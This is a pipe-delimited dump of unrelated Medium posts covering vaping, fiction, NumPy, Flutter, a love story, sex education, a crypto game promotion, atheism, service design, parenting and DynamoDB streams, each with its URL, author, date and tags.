It took us decades to understand the harmful effects of tobacco smoking. Chances are if the health effects of vaping are not studied, and its use is not regulated, we will find ourselves in the same situation.
Health agencies need to plan a comprehensive, long-term study to evaluate the safe use of e-cigarette before allowing the long term use of e-cigarettes.
“We don’t really know what the effects of chronic vaping is on your lungs.”
Updating after Corona Virus Pandemic: We are on a verge of global crisis where millions of people worldwide are suffering or going to suffer from previously unknown disease/ medical condition caused by a coronavirus.
The new disease is named COVID-19, which can cause life-threating, rapidly spreading pneumonia in serious cases. The disease is more severe in people with comorbid conditions or with weakened lungs.
Here is some food for thought- “ Do you still think that vaping was OK and does not weaken your lungs?”
I hope you all are staying safe!
Citation:
List of research publications/articles, I read along the way of my research on e-smoking and its effects. | https://medium.com/all-about-health/why-e-cigarette-should-not-be-treated-as-a-replacement-for-smoking-vaping-a-public-health-concern-acc34f0bd384 | ['Dr Surabhi Bhati'] | 2020-03-28 15:05:08.715000+00:00 | ['Coronavirus', 'Health Effects Of Vaping', 'Corona', 'Vaping', 'Covid 19'] |
Best headphones: Our top picks for personal listening | Integrity is the most valuable and respected quality of leadership. Always keep your word | https://medium.com/@tina61640941/best-headphones-our-top-picks-for-personal-listening-d2306a6c28cb | [] | 2020-12-24 22:45:08.057000+00:00 | ['Gear', 'Services', 'Home Tech', 'Cord'] |
Orderly Chaos | The Protagonist
“G.,
Skip work today. Call in sick. Meet me at 2403 Inveigle Lane at 7pm. I have some important work for you to do. Here is some money to cover your expenses and make up for any lost work.
-W.”
A piece of paper slipped out from between the folds of the paper as I opened it to read it. I picked it up. It was a check for $10,000. “Is this for real?!” I thought to myself. Who the hell would send me a check for this much money, and more importantly, WHY? What kind of work are they talking about? I’m not qualified for anything. Drug dealing? Is this some kind of human trafficking scheme? Are they going to harvest my organs? Get me addicted to heroin and then use my body on the open market for elites to have their way with me? Is Liam Neeson going to have to come and save me?
I held the check up to the light to check for a watermark. There it was. It’s a legit check. I grabbed my keys and drove straight to the bank. This better not bounce, or I’m gonna be pissed. I had in my checking account $20,000. I had been saving up for a while now. I don’t really have any friends; I go to work and come home every day. Some people would say that it’s a sad life I live, but I’d rather live in comfort than not.
I read a book about millenials not having any money in their retirement fund and one of my biggest fears is growing old and not being able to fend for myself, so I took my mental health issues, stuffed them in my pocket and went to working at Jasper’s. I’ve never really had any friends, people come and go from your life all the time.
I decided to go ahead and cash a quarter of the check and stick the rest into my checking account. I guessed I wouldn’t know if the check bounced or not until tomorrow. I decided to be on the safe side. I went from the bank to a gun shop. I’ve never owned a firearm before, although I had a license. I had taken the required courses last year because “F$%^ being unprepared in today’s world”… or so I thought during a time of paranoid delusions. In the end, I decided against buying a firearm due to the fact that I don’t really feel like accidentally blowing my head off in the event of an unchecked delusion. I finally had an actual reason to buy one. It was a standard handgun. Nothing too fancy.
I went home and dicked around for a few hours, watching TV and sleeping most of the day. I guess that head injury did a number on me. A couple of hours before I was scheduled to go into work, I took a photo of the back of my head in the mirror and sent it to my boss.
*HEAD INJURY. FREAK ACCIDENT. FEEL DIZZY, CAN’T WORK TONIGHT*
I figured that would do the trick, and it did. Like I said, I work and come home. I rarely ever take a day off, I think I might have 1 or 2 instances where I was actually sick where I called in. My boss replied “Please stay safe, get that checked out. U might have a concussion.” I thanked him and looked at the clock. 6:45pm. It was time to drive to the address in the letter.
— — — — —
This story came to me one day while I took a nap. The dream barely made sense to me while it was happening, but everything I saw and felt is described above. I began writing it out in 2020, on Facebook, as status updates. Then I realized that I should probably do the story some justice and put it out there for whoever might possibly see it to see, and not confine it to my Facebook friends list. It’s a series, and I can vividly imagine the characters and the setting in my head. I’ve decided to start publishing the parts of the story I have so far on here. I don’t know if anyone will read it, but at least I can say I put it out there. Hope never dies.
Here is Chapter 4
Here is Chapter 6
©2021, Omar Imam. All rights reserved. | https://medium.com/be-open/orderly-chaos-668ef019e1d1 | ['Omar Imam'] | 2021-07-28 03:05:32.106000+00:00 | ['Fiction', 'Series', 'Dreams', 'Orderly Chaos'] |
Numpy Crash Course (Part 1) | In the first example, we are accessing the index 2 and index 3 of arr3 and then printing out the summation of their values.
In the second example, we are accessing the row 0,column 1 of the 2d array
Let’s examine what’s happening here by analyzing the 3rd example that is
arr5[0,1,2]
So here the first term 0 refers to the first element of the 3d array which is
[[1.1,2.2,3.3],[4.4,5.5,6.6]]
The second term 1 accesses the 2nd element of this 2d array which is
[4.4,5.5,6.6]
Finally, the last term 2 refers to the 3rd index which is the index 2 which refers to 6.6
FINAL OUTPUT: 6.6
Similarly,
Let’s examine what’s happening here by analyzing the 2nd example that is
arr5[1,1,2]
So here the first 1 refers to the first element of the 3d array which is
[[7.7,8.8,9.9],[10.1,11.1,12.1]]
The second 1 accesses the 2nd element of this 2d array which is
[10.1,11.1,12.1]
Finally, the last term 2 refers to the 3rd index which is the index 2 which refers to 12.1
FINAL OUTPUT: 12.1
Negative Indexing:
Negative Indexing
Here -1 refers to the last element. In other words, this is the first element from the right
Likewise, -2 refers to the 2nd last element and -3 refers to the 3rd last element
So for the example,
arr[1,-1]
We are accessing the 2nd element which is
[6,7,8,9,10]
and so -1 means that we are accessing 10
OUTPUT :10
Accessing array elements specifying the row, columns:
Using step value to access every other element:
Here in the first example, we are returning every other element
In the Second example, we are skipping 2 elements
Slicing Arrays:
Slicing Arrays
Replacing Array values with new ones:
Working with different kinds of arrays:
The data types and characters representing them are:
i - integer
- integer b - boolean
- boolean u - unsigned integer
- unsigned integer f - float
- float c - complex float
- complex float m - timedelta
- timedelta M - datetime
- datetime O - object
- object S - string
- string U - unicode string
- unicode string V - fixed chunk of memory for other type ( void )
OUTPUT
In the last example, conversion of a string type array to integer type isn’t possible and so it raises an error.
Working with Random Values:
Random values in numpy
Here in the first example, we are generating a random float value.
In the second one, we are generating a matrix of dimensions 2x4 with random values
Generating random integer values by specifying the dimension and the range
Generating random float values by specifying the dimension and the range
Shaping and reshaping arrays:
Reshaping arrays
But some conversions might cause an error.
Error in reshaping
Flattening an array
Check out the code for this story by clicking on this link
Part 2, Part 3 will be out soon, so stay tuned! | https://medium.com/analytics-vidhya/numpy-crash-course-part-1-82a5558de850 | ['Faiza Anan Noor'] | 2020-12-09 16:37:31.579000+00:00 | ['Image Processing', 'Arrays', 'Numpy', 'Matrix', 'Python'] |
Why Flutter is the Best Choice for iOS App Development? | Today, the mobile app development industry is witnessing a cut-throat competition. Among most of the development companies, there is a vast desire to cut down development costs, optimize time, produce more and convey quality services and applications. This is where the Flutter plays its part.
Introduced by Google, Flutter is an open-source SDK where a single codebase is used for the app development for both Android & iOS platforms.
What else? Flutter offers the client a full hold of the native attributes. This actually makes Flutter the most desirable development technology among iOS developers and many iOS development companies (s) are rapidly relying on this new device for their cross-platform app development.
This article emphasizes the vast benefits of Flutter technology and why this development approach is considered the best choice for iOS app development. Companies seeking to build robust applications for businesses can opt for this latest technology for fast mobile app building.
Choosing Flutter for iOS App Development
The survey revealed that most of the iOS app developers are tired of the native iOS app development toolbox. Flutter has resolved their problem by offering the effectiveness in the iPhone app development at one go.
Get your cross-platform app development in no time with Flutter! Wondering why Flutter? Here are the points worth considering:
Flutter Facilitates Streamline iOS app development
Flutter uses Dart as the programming language. Dart is known for its adaptability and is convenient when contrasted with the conventional compilers.
Flutter for Instant Development
Flutter is open-source yet Apple facilitates native iOS development covert.
Flutter is known for Improving Developers’ Efficiency
This is the most important feature of Flutter- it facilitates cross-platform app development via its Hot Reload function. This not only saves development time but also saves extra cost of development for businesses.
Key benefits of Flutter
Wondering why Flutter is so popular today and what benefits it can bring to your iOS app development? Go to the reasons below:
Flutter is the Future
With the perspective of technology, Google is expected to replace the native Android app creation with Flutter mobile app development. It is for the reason why Flutter is seen with a promising future.
Flutter works best on Multiple Platforms
Flutter is known for the convenience of working on different devices from iOS to Android to the web. This is achieved because of the portable graphics accelerator and Flutter’s compilation with fast machine code.
It gets you a speedy app development
Flutter is known for speeding up the iOS app development process because of its Hot Reload feature. This function helps you transfer all changes from the code to a connected device or running an emulator instantly. It avoids rebuilding the app from scratch.
Flutters come with a big collection of widgets
With a rich collection of cross-platform widgets, you can develop beautiful app UIs with Flutter that too at a minimum time. These UIs would behave and look the same way across all devices.
Final Words
So, when you are aware of the immense benefits of Google’s Flutter, it’s high time to use this promising technology to build beautiful native apps in record time. Looking for a proficient Flutter app development company that can enhance your business reach with the tailor-made Flutter iOS app? Connect to industry experts at QSS Technosoft Inc.!
QSS Technosoft is an ISO Certified CMMI level 3 company in India (with global presence) that helps clients integrate their Business Apps with Google’s Flutter! Backed up by a big team of expert Flutter developers, the company help building digital experiences for global clients’ end-users by mixing the capabilities of Flutter with the visual appeal of Material Design fitting your budget.
Connect now to get an estimate! | https://medium.com/qss-technosoft/why-flutter-is-the-best-choice-for-ios-app-development-80fa6f01ba63 | ['Sanjay Pandey'] | 2020-04-08 16:32:18.270000+00:00 | ['Flutter', 'iOS App Development', 'App Development Company', 'App Development', 'Flutter App Development'] |
Love Tastes Like Mangos | A Love Story
Photo by Phoenix Han on Unsplash
Love was a woman of a few but pointed words. Her point would drip down from wine-colored lips to hang in the air before you until she was certain you understood. She held you something tender and something fierce. She could sweep you up at any moment and make you forget about all else. Love is fickle that way. She makes you decide if you’re all in because if you’re not, she’s not interested.
Somewhere in our beginning, Love and I took a walkout on the Boulevard. She was speaking although I can’t for the life of me remember what she was saying. Her voice seemed to come from far away. I don’t remember the way the sky looked or the ocean or what part of the Boulevard we were on. My mind was off in an elsewhere place, concerned about literally anything else except what was happening around me at that moment.
“Where are you?” Love asked, her voice and a tug on my arm pulling me from the wanderings of my mind.
“I’m right here,” I said, looking at her for the first time since we started walking.
“Then be here with me,” she said.
She knew presence, properly. For her, presence was a state of being not a commodity to be obtained. And she never took it for granted. Presence was something you either were or were not. If you were not, she’d pull you right back because it was the only place she knew how to be. She swore that being present was the only way to properly experience life and couldn’t understand why anyone would bother being anywhere else. No matter what. Pain and sorrow. Anger and heartbreak. Love and joy. Happiness and Ecstacy.
In the few short months, we had together; she taught me presence, in little ways, in little questions and tugs on my arm.
Another night in the same summer, Love and I sat out on the porch of that old house overlooking the bay; the sun setting like God had taken a rainbow and stretched it across the horizon. My hand rested gently inside the hand of the woman sitting next to me, her back pressed against my chest, and the sun casting a ballet of shadows over her face. There was nothing to do at this moment. Nothing other than enjoying the company of the other, the setting sun, and the warmish summer night.
I can remember that evening on the patio in vivid detail. I can tell you exactly how the wind felt raising gooseflesh on our arms; how her hand felt warm and soft and delicate in mine; how the sunset looked stretched across the horizon like maybe angels were making a choir there; how the ocean danced to the tune of the angel’s call. I can tell you how the sun made shadows dance on my lover's face. They played a ballet against her full lips and the dip between her cheekbone and jawline. Her hair was tied up on her head in the haphazard state of always about to fall out and she wore overalls that belonged to the eighties. But the best part was the way she laughed behind a bite of mango, the juice painting her lips and dripping from the corner of her mouth.
Love tasted like a mango that night. Sticky and sweet and refreshing.
But what I can’t tell you is what she was talking about on the Boulevard that day or if she was wearing overalls or if her hair was spilling down around her shoulders. I can’t tell you if the ocean was calm or dancing with white caps. I can’t tell you how it sounded the first time she told me she loved me. Because I missed it. Because despite her hand being held in mine, I wasn’t actually there for it.
And it all came down to presence. It all came down to that old adage of ‘be here now.’ Another way of saying ‘be grounded.’ Another way of saying ‘say what you mean and mean what you say.’ Another way of saying ‘live as if the only thing that exists is right now because it is and look… it’s already gone.’ Another way of asking you if you are willing to miss the things you miss when you are not present.
‘Where are you?’ she had asked from our seat on the old porch swing.
She cast her steady gaze and piercing green eyes up at me. She looked the part of an angel with her full lips the color of red wine set against her dark skin and a halo of soft hair framing the delicate curves of her face. I must have looked the part of the fool, holding a beauty such as that.
‘I’m right here,’ I said.
‘Hmm, finally.’ | https://medium.com/this-shall-be-our-story/love-tastes-like-mangos-ffebd9b8890b | ['Kp Hartman'] | 2019-12-17 10:24:57.769000+00:00 | ['Presence', 'Relationships', 'Fiction', 'Self', 'Love'] |
Your Bodies Biggest Sex Organ Is Your Brain. | “We know that the biggest sexual organ is the brain, and that sex straddles the physical, psychological and physiological; and so the impact of our thoughts and feelings can absolutely change our sexual experiences,” — Kate Moyle, psychosexual and relationships therapist.
Earlier this week I was reading an article by sexologist Gigi Engle. In her scholarship, she touched on something I’ve been trying to communicate for months but had been struggling to put into the right words. Our brains can make or break sex. When people experience blocks in their sex life, chances are these have to do with our mind as opposed to our lover(s) or our bodies.
Now, if someone has a medical condition that is posing problems during sex, I’m not suggesting that some “positive thinking” will cure you. There are valid, medical reasons why sex can be a challenge. I’m also not suggesting that toxic positivity is the answer. It isn’t, and if you are in a situation that makes you feel unsafe, undervalued, or taken advantage of these are great reasons to leave.
What I do find, as a sex scholar and a sexual person, is how certain sex blocks can be overcome when we learn how to use our brains intentionally.
First, let’s talk about these sex blocks
We all worry about how our bodies look naked. In addition, Some of us worry about maintaining an erection or if their erection is big enough. Others worry about getting wet and staying wet. If someone is intersex, which is just as common as being born a redhead, there is the added stress of being different. Basically, regardless of your gender, we all struggle with the fear that our body will render us unworthy of love.
On top of these very justifiable fears, we have our lives to think about. If our bodies and how they function isn’t causing distress, then it can easily be another external factor. Perhaps you just had a fight with your mother. Maybe you’re worried about your career. Only too often does [insert life-stressor here] interrupt the heat of the moment.
On top of body image and life, many of us feel guilt or shame while being sexual. This can be because you're a sexual assault survivor. It can be from slut-shaming or religious backgrounds. Like the stress we undergo from living our daily life, the shame we experience about sex is complicated and diverse.
Very rarely, do we consider that these sexual problems can be overcome by learning how to use our brain as a sexual organ.
If we start training our brain to intentionally receive pleasure, chances are our body will be receptive as well. By relying on the patterns that our brain already uses, we can actually improve our sex lives.
3 Ways To Intentionally Use Your Brain During Sex
Often when we are experiencing pleasure our brain is simply reacting. No one is driving the car, and sometimes, this is just fine. But when we start to hit roadblocks, its important to know that you can take the wheel when needed to steer your brain back on course.
The simplest way to do this is to train your brain to respond to pleasure with intention. This practice takes time, but the results can be very empowering.
1. Schedule Sex
We schedule all types of fun activities. Would you invite a bunch of friends to a picnic without planning it first?
It’s a common misconception that scheduling sex takes all the fun out of the experience. But when we are participating in any other type of pleasure, we prepare for it so that we can (ideally) not stress out and experience the moment fully.
Sex does not need to be spontaneous in order to be fulfilling. It’s wonderful to schedule sex, especially if you are planning to experiment. Moreover, scheduling and preparing for sex gets lovers in the practice of communicating about sex. Which is vital if you want a satisfying sex life.
Lastly, scheduling sex invites you to fantasize and anticipate the sex you will have. Which further trains your brain to react positively to pleasure.
“By literally scheduling sex into your calendar, you can physically and emotionally prepare for it. It gives you something to look forward to. You may like the anticipation and feeling of being prioritized. You can fantasize about your time together, enhancing your desire.” — HealthyWomen.org
Scheduling is a great way to intentionally use your brain before, during, and after sex.
2. Prioritize Solo-Masturbation
We learn about sex with others by having sex with ourselves. Psychologically, something slightly different happens during masturbation as opposed to sex with another person.
We have a committed intention. Often, the unconscious goal of masturbation is to feel good, let off some steam, and orgasm.
I’d suggest that a more empowering goal is to experience pleasure, as not everyone will orgasm all of the time. Experts agree that having an orgasm be the goal in sexual situations produces anxiety and stage fright. Which ultimately inspires the body to shut down.
When you masturbate, notice how your brain is committed to focusing on this moment of pleasure. Notice what you fantasize about in order to enter into this committed state.
Then, during coupled sex, if you feel your body disassociating, try to channel your psychological turn-ons. Taking a moment to channel your desires will reconnect you to your sexuality. Thus allowing sex to proceed in a pleasurable fashion.
Now, there are some important details to remember here. First, if you do not want to have sex or you want to stop sex, you have every right to do so. Second, Fantasizing during partnered sex does not mean that you don't love your partner. It also doesn’t mean that your partner doesn’t turn you on. Additionally, you are not required to divulge every fantasy you have to someone else and I wouldn’t suggest expecting your partner to act out all your fantasies either.
Just like one person can’t fulfill all your social needs. One lover can’t embody all your turn-ons. That’s why our brains are such a powerful sex organ because our brains can stimulate us eight ways to Sunday.
Try using solo-masturbation to discover what commits your brain to its desires. Then tap into this knowledge during partnered sex if you need or want to. Remember, this practice is a resource at your disposal. It is not mandatory and should only be used if you want to use it.
3. Practice Talking About Sex
It’s uncomfortable to talk about sex because we do not practice how to do it. So, practice.
Talk about sex with a lover in a non-sexual situation. Bring up sex with friends who you feel safe with. You don’t need to be in a relationship to practice empowered sexual communication.
While it’s always important to talk to my lover about sex I also enjoy asking my friends what they like in bed. In fact, I think it’s important to do both because you get more practice communicating your needs. When I talk about sex I become more succinct about my desires and am able to practice being open to another person’s sexual needs.
Both are imperative when it comes to talking about sex.
4. Find Influencers With Your Body Type
Representation is important. Seeing someone thrive who shares our imperfections changes how we understand what’s possible for our reality. Everyone’s relationship with their body is different, yet everyone’s relationship with their body is a struggle.
What has helped me interrupt insecure thoughts about my body during sex is locating sex-positive influencers who inspire me.
I recommend finding one or two influential, relatable humans that you genuinely look up to.
When I notice thoughts about my body or unworthiness rear their head during sex, I ask myself this question: What would [insert influencer here] do?
I found that when I asked this question I was immediately separated from my insecurity. Instead, I walked for a moment in another person’s shoes. And not just any person, but someone who I believed in and respected. Allowing me to understand that there are two stories I could beleive in. The one where I am unattractive or the one where I’m desired. Again, it’s about using your brain as a sexual organ to focus on what empowers you in the bedroom.
You are worthy of love and pleasure, but we live in a society that profits off of shame. Your relationship to your body is influenced by a world that uses your insecurities to sell you products and ideas. Take your power back and use the over-population of “regular-people-turned-influencers” to your advantage. There is someone out there with your body who loves the skin they live in. If that person is thriving, then you can too. | https://medium.com/the-sex-journal/your-bodies-biggest-sex-organ-is-your-brain-44864350dfea | [] | 2020-08-25 12:01:01.381000+00:00 | ['Brain', 'Sex', 'Empowerment', 'Sex Education', 'Sexuality'] |
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$8 Billion+ Staked into Binance for Trilium (TLM); largest decentralized app in world | Alien Worlds, a simulated economy where players compete with NFTs, is quickly rising to the top of the DappRadar charts. In the Alien Worlds defi Metaverse, explorers mine Trilium (TLM) tokens, more than $8 billion has been staked.
How much BUSD has been staked?
You can see the live totals of BUSD being staked here.
How much BNB has been staked?
You can see the live totals of BNB being staked here.
Alien Worlds is Climbing the DappRadar Charts
With more than 117,000 players, and more than 50,000 active daily during the past month, Alien Worlds has quickly climbed the DappRadar ranking charts. The Federation would like to thank all Explorers for making this possible.
Congratulations Miners!
In celebration of reaching more than 100,000 players, the Federation has declared that each day, one lucky miner will receive a free digital game card pack! Just mine at least once per da at https://play.alienworlds.io/Each day, one miner will be randomly selected and the next day will receive a digital game card pack.
To see daily winners, visit: http://aw.eosusa.io/awbutler/awpackdrops.html
To subscribe to the Alien Worlds newsletter, visit www.alienworlds.io.
About Alien Worlds
Alien Worlds is an NFT defi metaverse running on the Ethereum, WAX and BSC blockchain. The in-game currency — Trilium (token symbol TLM) incentivises explorers to play games and must be staked to participate in governance. Planets within the metaverse are decentralised autonomous organisations which receive daily Trilium from the central metaverse smart contracts. Explorers engage through mining by acquiring and renting land, and voting for Planetary governance to impact Trilium payouts. The metaverse is extensible because Planets are independent and can offer their own games UIs and NFTs. Indeed, users are already doing this. Follow the metaverse at alienworlds.io and play at https://play.alienworlds.io/
Join the Metaverse
Get a Login to the Game: https://wallet.wax.io/
Use Login to Access to the Game: https://play.alienworlds.io/
Register for Planetary Councilor: https://council.alienworlds.io/
Unbox Packs and Get Access to Game Card Shining: https://unbox.alienworlds.io/inventory
Find Communities in the Metaverse
Website: https://alienworlds.io/
Events: Events calendar
Medium: https://medium.com/@alienworlds
Telegram: https://t.me/AlienWorldsOffical
Telegram Announcement: https://t.me/AlienWorlds_Announcements
Discord: https://discord.io/alienworlds
Twitter: https://twitter.com/AlienWorlds
Instagram: https://www.instagram.com/alienworlds.io | https://medium.com/@alienworlds/8-billion-staked-into-binance-for-trilium-tlm-opens-on-binance-com-ae29748262a8 | ['Alien Worlds'] | 2021-04-12 08:44:30.804000+00:00 | ['Binance', 'Farming', 'Staking', 'Tlm', 'Trilium'] |
What is Godlessness? | Atheism and Godlessness
When new atheism was a thing (a fad), Richard Dawkins liked to say that atheists merely go one step further than Christians, Muslims, or any other religious people, since the latter reject all gods and religions but theirs. The atheist rejects all of those too, plus the gods of the last religion standing.
This is the unphilosophical level of thinking common to science-centered atheists. Atheism becomes just a matter of simple arithmetic, you see. When the atheist is talking to a Christian, she takes all the non-Christian deities they both reject, and she adds the Christian’s god to the list. Poof! That’s how you can make an atheist — a godless person — out of a Christian. You merely convince the Christian to negate one further deity.
What this conception of atheism leaves out, though, is all the other aspects of religiosity, such as reverence, worship, and spirituality, which re-emerge in secular forms.
Take idolatry, for example, the worship of money, power, or pleasure, or the holding of these material goods as effectively sacred and worthy of ultimate concern. Is the atheist godless when she treats something as though it were her god, when she trusts in the merit of some way of life while lacking sufficient reason for doing so?
Soviet communists were explicitly atheistic, but they effectively worshipped the state as an ultimate good, revered Vladimir Lenin as a saint, and treated Josef Stalin as an absolute monarch able to decide the fate of millions on a whim. That political model of absolute rule is saturated with religious connotations, since for thousands of years deference to a king was justified theocratically, by appealing to religious myths about how the gods confer authority on the ruler, making the king or queen an agent of divine order.
Likewise, the Nazis worshipped the Volk, the essence of a purified ethnicity, and they revered Adolph Hitler as the visionary leader of this spiritualized supreme race. Nazis saw themselves as fulfilling Nietzsche’s expectation that a new religion would have to replace the old ones after the functional death of the ancient and medieval gods at the hands of modernists.
Liberalism defeated both Soviet communism and Nazism in the last century, creating the new, supposedly secular world order of capitalism, consumerism, democracy, and endless technoscientific progress.
So is this liberal world godless? Does this late-modern civilization lack any deified person or sacred object?
Certainly, there’s no dictator or god-man ruling over bastions of liberty, although cults like Scientology and Trumpism demonstrate that the religious urge to worship can still surface paradoxically in secular parts of the United States. And while people are free to worship privately in liberal societies, this freedom is meant to be patronizing, since religions are merely tolerated by those with the liberal sensibilities that determine the nature of the ruling institutions.
The idea of liberalism is that all individuals have equal value because of their capacity to exercise rational self-control. “Individual person” is an abstraction, one which used to be identified exclusively with rich, white European men, but which eventually moderns understood to apply to free-thinking, responsible minds and bodies in general. Liberalism entails, then, that everyone should be free to pursue their goals. Society should reflect that equal freedom of every individual, by empowering them and by getting out of their way. | https://medium.com/the-apeiron-blog/what-is-godlessness-1fbd36fac7a3 | ['Benjamin Cain'] | 2020-12-22 16:17:55.225000+00:00 | ['America', 'Philosophy', 'Liberalism', 'Atheism', 'Religion'] |
Body Positivity — A call for a Social Movement | By Design Innovation: How Might We Encourage Body Positivity at an Early Age?
Service Design Reflections — Building up the underlying research methodology, mapping the problem, co-creating a shift in the mindset in a socially viable environment
A 2-week group assignment as part of M.Des in Design Innovation and Service Design course at Glasgow School of Art, unfolded the ordeal behind a social issue that is deep rooted in different cultures across the globe. The impact of how body image is tackled at the young age tends to affect us throughout our lives.
The genesis of this project was initiated with a reflexive investigation into our life’s events, moments, and encounters with the world around, encompassing our social, cultural and political associations. During this auto ethnography process, we used journey mapping techniques and identified the critical issues that rose out of each one’s life journeys. The glimpses of opportunities emerged during our group discussions, which led us to delve into various interconnected issues such as bullying at the young age at schools or colleges or even as early as the pre-school child care. The demoralizing role of body image and body shaming was also a pressing revelation through our self-observation.
The Research which Opened Many Doors:
Starting with the issue of ‘body shaming’ and reading through the online resources, news articles and personal blogs we did lose our way while formulating the strategy for enquiry. Reflecting upon and tracing back our research process, I was able to better formulate a structure that we had followed.
The epistemological positioning of our research was deep rooted into ‘Constructionism’ where we strived to build upon the experiences of our individual lives, constructing the meaning around our lived experiences (our team belonged to different parts of the world –China & India) and uncovering the perceptions of our participants who had been subjected to body shaming either throughout their lives, or at specific points in their journey.
The theoretical perspective of our research involved the basis of ‘Symbolic Interactionism’, to recognize how people establish meanings and interpret situations based on the past notions of body image. We wanted to enquire how body shaming is associated with low self-esteem and investigate how people deal with it on a daily basis.
The obvious research methodology that came up was ethnographic enquiry by interacting with our participants and hearing about their lived experiences. We went into the participant interviews with a well thought of questionnaire which soon gave way to an unstructured and non-directive form of questioning.
Drawing insights from each conversation and then reorganizing them through affinity mapping brought up a plate full of opportunities all directing us to address this social problem through a social solution.
Hurdles: The team was located in different cities and conducted the entire research through online mediums. The interview of participants was through zoom and over phone calls. We might have missed few crucial insights which we might have retrieved through face-to-face interviews in an ideal scenario. Nevertheless, we embraced this as part of learning and adapting in the current scheme of things.
Define | Sketch | Decide — ‘Body Positivity as a Social Movement’
Normalizing how people perceive appearances and advocating the acceptance of all body types, it was imperative that we veer the mindset from body shaming to body positivity. This alone was not solving our intentions of creating a society where the inherent values and traits of a person presides over appearances. With these intentions, we started co-creating a social movement WITH the teenagers and FOR the teenagers, empowering them to create a long lasting impact through their collective actions.
Unattended Wishlist: An unfulfilled step during the project was designing engagement tools for a participatory design workshop with the teenagers and interaction with the organizations working for the youth. An observation study of how these youth organization work with teenagers would have been an icing over the cake.
Instigating a social change require addressing the issue at various touch points. Our movement #lovewhoyouare was directed towards teenagers as stakeholders and targeted at the school level interactions. As facilitators of this event, our goal was the PLAN, EXECUTE & CREATE AWARENESS.
PLAN: #lovewhoyouare will contact the neighboring schools, associate with teenage volunteers to plan the activities, decide the date & location and promote the event
EXECUTE: A full day workshop will be planned for the students of the school hosting the event. There will be ‘Engaging’, ‘Connecting and ‘Collaborating’ exercises, backed up by informative lectures and brochures as takeaways.
CREATE AWARENESS: Word of mouth (we expect teenagers to walk out of these workshops carrying a positive personal image and embracing the new mindset of looking within for the core values of each person); online awareness through social media and an informative website. | https://medium.com/@vinishree/body-positivity-a-call-for-a-social-movement-b42cacc94f3c | [] | 2020-11-27 18:30:10.802000+00:00 | ['Human Centered Design', 'Social Innovation', 'Body Positive', 'Design Innovation', 'Service Design'] |
“What It Means When Childish Gambino Says ‘This Is America’” | “Created by guns, overflowing with guns, America had always been a sort of rhetorical weapon, its greatness a cudgel applied to recalcitrant people of color at home or abroad. What the Trump campaign and election signaled was an abolition of all alternative Americas, the permanent reduction of the nation to a weapon directed at people whose skin is not pale…
Jubilant black culture abounds not only in resistance to the lethal violence directed at its makers, but also in complicity with it: when Glover stages the murder of a black guitarist and a black church choir, it’s not a white policeman pulling the trigger, but Glover himself, and after each killing he resumes his dancing with the same livewire energy and his rapping with the same assured flow, as if nothing had happened. If black culture affirms itself, accurately, as a testament to its makers’ capacity for grace, invention, and vigor in the face of an inhuman social reality, Glover’s own affirmation contains a shadowy admission that such makers cultivate their own agony in the act of representation.” | https://medium.com/on-race-isms/what-it-means-when-childish-gambino-says-this-is-america-4ab45fce5638 | ['Jess Brooks'] | 2019-10-19 01:13:59.082000+00:00 | ['Hip Hop'] |
My Daughter is Going to High School Soon — Oh My Heart! | Is she ready?
When i ask my daughter if she’s ready to start high school, the overwhelming answer is that she’s nervous.
The feeling is mutual.
Nervous that she might fall down — truthfully this is likely. She admits to falling down nearly once a day in middle school. She is the queen of clumsy — bless her!
But with all of the gun violence on the news, she is of course worried about that as well. “Why don’t they check all of our backpacks when we get to school? Anyone could bring in a weapon and they’d never know because they don’t check our bags.” It pains me beyond what my heart can take that my daughter has to think this way.
She is preoccupied with the mirror — styling and restyling her hair between declarations of going to school all casual-like with a messy bun, t-shirt and jeans. Then she’s back in the mirror practicing different make-up techniques.
She declares that she is going to play tennis this year, run track, and do boxing (what!?!) and then hours later laments that she may not want to do any sports this year so she can “focus on her studies.” Oh the drama — and school has not even started yet!
High school is tough!
I remember high school well — and facing it in very insecure skin with the wildest, most untamed hair possible (thank God it was the late 80's/early 90’s and big curly hair was in.), and with second-hand clothes and shoes. High school was rough. I was never in the in-crowd and although I took all advanced courses, I never really fit in with the “smart kids” either, at least economically speaking.
Riding the school bus also didn’t add to my popularity. The school bus where the boys had roving hands and the girls were all fairly mean to me.
When another girl at the bus stop comments that the shirt you are wearing used to be hers — ugh, the shame! We didn’t get our back-to-school clothing off hangers in air-conditioned stores. We got them by digging through black trash bags of hand-me-downs from neighborhood kids. With 5 kids in our house, people often sent their used clothing to us. You grabbed what you wanted hopefully before any sibling did — then tried everything on. Whether or not it “fit” was always determined by my mother’s standards, of course.
What I did have, besides the impoverished status, was a hard-ass personality bent toward hairband and heavy metal music and a mouth that spewed curse words every time I was out of my parents’ earshot. I tried to be the tough girl when really I was the weakest. I must have looked more like a “loose” girl than I intended or else the bottom-of-the-barrel-boys wouldn’t have taken to copping a feel whenever they felt like it.
I have tried to teach my daughter that it is ok to say no to people. Your body is yours.
I am not ready.
I am not ready for my daughter, my sweet and fiercely confident daughter, to face these challenges in her life. If one of those boys try to feel her up she will likely punch them in the face! I predict she won’t ride the school bus for long this year — or this little southern Momma will find herself in a squabble with someone on that bus. They had better respect my daughter! Or I might tap into that tough-assness that got me through school!
The first day of school fast approaches and I worry. Have I taught her to be strong? Have I warned her enough about what to look out for — how to avoid conflict? Have I taught her well about choosing good friends, respecting herself, making good choices? Have I told her enough she is beautiful inside and out — and that her beauty is not dependent on what those kids at school say?
Have I prepared her enough for this? Will she talk to me if she needs help with something? Will she confide in me?
As the weeks tick by I find myself more a worrying mother than I ever have been. I can only hope that all these years of preparation will keep her strong and focused. She wants to be a doctor. And it is my job to help her be anything in this life that she wants to be.
Oh, my heart.
Other stories about my parenting journey with my daughter: | https://medium.com/the-partnered-pen/my-daughter-is-going-to-high-school-soon-oh-my-heart-a4364abffad5 | ['Christina M. Ward'] | 2019-08-16 01:29:18.950000+00:00 | ['Short Story', 'Education', 'Society', 'This Happened To Me', 'Parenting'] |
Dynamo streams aka CDC | Dynamo streams is a great feature of AWS dynamo database which helps in implementing high performance event driven applications.
What are Dynamo streams?
In layman terms, stream is a continous flow. In context of Dynamo database, stream refers to flow events (data) whenever there is change recorded in state of index.
Streams Use cases
1.CDC applications (Change Data Capture)
2.Event Driven Applications
3. IOT Applications
Dynamo streams sends data as event to a lambda function. If you are familiar with lambda functions, a single lambda function can be triggered by N number of sources. It implies that we can stream data from single table or multiple tables to same lambda fucntion.
What happens when streams are enabled on Dynamo table?
When streams are enabled on Dynamo table, it keeps track of changes happened for data stored in a index.
There are following 3 types of event trigger from stream for index
